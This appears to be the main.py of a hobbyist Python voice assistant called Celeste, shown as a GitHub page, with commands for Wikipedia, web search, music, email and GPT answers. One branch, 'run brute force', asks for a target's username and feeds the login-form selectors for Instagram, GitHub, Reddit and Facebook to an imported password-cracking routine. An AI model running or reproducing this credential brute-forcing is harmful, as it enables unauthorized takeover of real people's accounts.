forked from R3tr0gh057/Celeste
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
205 lines (175 loc) · 8.13 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
import pyttsx3
import speech_recognition as sr
import datetime
import wikipedia
import webbrowser
import os
import smtplib
from functions.browser.searchTools import imgsearch,gogsearch,ytsearch
from functions.browser.tabNavigation import closeTab,switchTab
from functions.exploits.passwordCracking import brutes
from functions.ai_res.gpt import gpt_res
from functions.system.musicPlayer import player, listsongs
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)
def speak(audio):
engine.say(audio)
engine.runAndWait()
def wishMe():
hour = int(datetime.datetime.now().hour)
if hour>=0 and hour<12:
speak("Good Morning Toad!")
elif hour>=12 and hour<18:
speak("Good Afternoon Toad!")
else:
speak("Good Evening Toad!")
speak("I am Celeste. How may I help you")
def takeCommand():
r = sr.Recognizer()
with sr.Microphone() as source:
print("[+] Listening...\n")
r.pause_threshold = 1
audio = r.listen(source, phrase_time_limit=None, timeout=None)
try:
print("[+] Recognizing...\n")
query = r.recognize_google(audio, language='en-in')
print(f"User said: {query}\n")
except Exception as e:
print(e)
print("[!] Say that again please...\n")
return "None"
return query
#Needs improvement
def sendEmail(to, content):
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login('[email protected]', 'your-password')
server.sendmail('[email protected]', to, content)
server.close()
def main():
# Logic for executing tasks based on query
while True:
query = takeCommand().lower()
if '' in query: #add your own hotword for the AI in the quotes
speak('How may I help you?')
query = takeCommand().lower()
if 'wikipedia' in query:
speak('Searching Wikipedia...')
query = query.replace("search wikipedia for ", "")
results = wikipedia.summary(query, sentences=2)
speak("According to Wikipedia")
print(results)
speak(results)
elif 'open stack' in query:
webbrowser.open("stackoverflow.com")
elif 'play the song' in query:
try:
song = query.replace("play music", "")
player(song)
except Exception as e:
print(e)
speak("Apologies toad, I could not find the music in your music directory")
elif 'songs in my playlist' in query:
try:
listsongs()
except:
print("Could not find your music directory")
elif 'the time' in query:
strTime = datetime.datetime.now().strftime("%H:%M:%S")
speak(f"Sir, the time is {strTime}")
elif 'open code' in query:
try:
codePath = "PATH"
os.startfile(codePath)
except Exception as e:
print(e)
speak("Apologies toad, I could not find the code directory")
elif 'email to someone' in query:
try:
speak("What should I say?")
content = takeCommand()
speak("Whom should I send it to?")
receiver = takeCommand()
sendEmail(receiver, content)
speak("Email has been sent!")
except Exception as e:
print(e)
speak("Apologies Toad, I could not send the mail")
elif 'search images for' in query:
searchterm = query.replace("search images for", "")
try:
speak(f"Searching images for {searchterm}")
imgsearch(searchterm)
except Exception as e:
print(e)
speak("Apologies toad, an exception error has been raised")
elif 'search google for' in query:
searchterm = query.replace("search google for", "")
try:
speak(f"Searching google for {searchterm}")
gogsearch(searchterm)
except Exception as e:
print(e)
speak("Apologies toad, an exception error has been raised")
elif 'search youtube for' in query:
searchterm = query.replace("search youtube for", "")
try:
speak(f"Searching youtube for {searchterm}")
ytsearch(searchterm)
except Exception as e:
print(e)
speak("Apologies toad, an exception error has been raised")
elif 'close all tabs' in query:
try:
closeTab()
except Exception as e:
print(e)
speak("Exception was raised")
elif 'switch tabs' in query:
try:
switchTab()
except Exception as e:
print(e)
speak("Apologies toad, an exception error has been raised")
elif 'run brute force' in query:
try:
query = query.replace("run brute force on", "")
if 'instagram' in query:
website = 'https://www.instagram.com/accounts/login/'
user_selector = '#loginForm > div > div:nth-child(1) > div > label > input'
pass_selector = '#loginForm > div > div:nth-child(2) > div > label > input'
enter = '#loginForm > div > div:nth-child(3) > button'
elif 'github' in query:
website = 'https://github.com/login'
user_selector = '#login_field'
pass_selector = '#password'
enter = '#login > div.auth-form-body.mt-3 > form > div > input.btn.btn-primary.btn-block.js-sign-in-button'
elif 'reddit' in query:
website = 'https://www.reddit.com/login/'
user_selector = '#loginUsername'
pass_selector = '#loginPassword'
enter = 'body > div > main > div.OnboardingStep.Onboarding__step.mode-auth > div > div.Step__content > form > fieldset:nth-child(8) > button'
elif 'facebook' in query:
website = 'https://www.facebook.com/login/'
user_selector = '#email'
pass_selector = '#pass'
enter = '#u_0_5_Cb'
speak('What is the username of the target?')
username = takeCommand().lower()
passlist = '' #add the path to the passlist file
brutes(username, user_selector, pass_selector,enter,passlist,website)
except Exception as e:
print(e)
speak("The password has been found or you have been locked out, bruteforcing complete")
else:
try:
answer = gpt_res(query)
print(f"To answer your question, {answer}")
speak(answer)
except Exception as e:
print(e)
speak('That didnt work')
if __name__ == "__main__":
main()